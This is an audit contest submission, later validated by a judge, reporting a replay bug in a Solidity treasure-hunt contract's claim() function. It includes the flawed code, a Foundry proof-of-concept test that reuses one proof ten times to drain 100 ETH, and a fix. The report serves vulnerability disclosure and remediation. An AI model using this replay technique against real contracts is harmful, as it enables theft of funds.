SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

claim() double-spend check reads uninitialized `_treasureHash` immutable, letting a single proof drain the entire reward pool

hackinghacked674

Root + Impact

Description

  • Normally, claim() enforces single-use of each treasure hash: once a valid proof has been redeemed for a given treasureHash, the double-spend check claimed[...] should revert any subsequent submission of the same (proof, treasureHash, recipient) triple.

  • In TreasureHunt.sol, the double-spend check reads an uninitialized immutable _treasureHash (always bytes32(0)) instead of the function argument treasureHash. As a result the check always reads claimed[bytes32(0)], which is never written to, so the same valid proof can be replayed up to MAX_TREASURES (10) times and drain the full 100 ETH reward pool.

// TreasureHunt.sol
​
// @> declared but never initialized — defaults to bytes32(0)
bytes32 private immutable _treasureHash;
​
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant {
if (paused) revert ContractPaused();
if (address(this).balance < REWARD) revert NotEnoughFunds();
if (recipient == address(0) || recipient == address(this) || recipient == owner || recipient == msg.sender) revert InvalidRecipient();
if (claimsCount >= MAX_TREASURES) revert AllTreasuresClaimed();
​
// @> reads claimed[_treasureHash] == claimed[bytes32(0)], which is NEVER written
if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
​
if (msg.sender == owner) revert OwnerCannotClaim();
...
_incrementClaimsCount();
// @> writes claimed[treasureHash] (the parameter), not claimed[_treasureHash]
_markClaimed(treasureHash);
​
(bool sent, ) = recipient.call{value: REWARD}("");
require(sent, "ETH_TRANSFER_FAILED");
}

Risk

Likelihood:

  • Triggers every time an attacker holds a single valid (proof, treasureHash, recipient) triple and submits it more than once — no special state, no race condition, no privileged role is required.

  • The existing test testClaimDoubleSpendReverts in the repository already has its vm.expectRevert() commented out, showing that double-spend observably succeeds in the current codebase.

Impact:

  • A single valid proof drains 100 % of the reward pool (100 ETH by default) because claim() can be called 10 times with the exact same inputs.

  • Legitimate participants who physically find treasures 2..10 receive nothing, since the contract balance is already depleted.

Proof of Concept

contracts/test/PoC_C1_DoubleSpend.t.sol runs with forge test --match-contract PoC_C1_DoubleSpend -vv and demonstrates that a single proof drains the full 100 ETH balance.

function test_PoC_C1_SingleProofDrainsAllFunds() public {
(bytes memory proof, bytes32 treasureHash, address payable recipient) = _loadFixture();
​
uint256 recipientBalBefore = recipient.balance;
assertEq(address(hunt).balance, INITIAL_FUNDING); // 100 ETH
​
// Submit the exact same (proof, treasureHash, recipient) triple 10 times.
// A different msg.sender is used each iteration so the `recipient == msg.sender`
// check never triggers.
for (uint256 i = 0; i < hunt.MAX_TREASURES(); i++) {
address attackerEOA = address(uint160(0x1000 + i));
vm.prank(attackerEOA);
hunt.claim(proof, treasureHash, recipient);
}
​
// All 10 claims succeeded with a single proof.
assertEq(recipient.balance - recipientBalBefore, hunt.REWARD() * hunt.MAX_TREASURES());
assertEq(address(hunt).balance, 0);
assertEq(hunt.claimsCount(), 10);
}

Recommended Mitigation

The root cause is that the check on L88 references the wrong variable: the immutable _treasureHash (always bytes32(0)) instead of the function parameter treasureHash. One might consider fixing this by initializing _treasureHash in the constructor, but this would not resolve the bug — the contract is designed to track MAX_TREASURES = 10 independent claim flags via the claimed mapping, so a single immutable value cannot represent 10 distinct claim states.

The correct fix has two parts:

  1. In the claim() function, replace claimed[_treasureHash] with the function parameter claimed[treasureHash] so the check reads the same key that _markClaimed writes to.

  2. Remove the unused immutable _treasureHash declaration, which is dead code once the check uses the parameter.

After the fix, re-enable the vm.expectRevert() line in testClaimDoubleSpendReverts so any regression is caught by CI.

- bytes32 private immutable _treasureHash;
-
...
​
function claim(bytes calldata proof, bytes32 treasureHash, address payable recipient) external nonReentrant {
...
- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
...
}
Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

broken double-claim protection

In `claim()`, the guard uses `claimed[_treasureHash]`, where `_treasureHash` is an immutable state variable that is never initialized to the caller-supplied treasure identifier, while the contract later marks `claimed[treasureHash] = true` using the function argument instead. As a result, the duplicate-claim check and the state update are performed against different keys, which means a previously claimed treasure is not actually blocked from being claimed again with the same valid proof and `treasureHash`. This breaks a core invariant of the protocol described in the README, namely, that each treasure can only be redeemed once, and allows one valid treasure/proof pair to be reused to drain rewards repeatedly until either the `MAX_TREASURES` cap or the contract balance is exhausted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!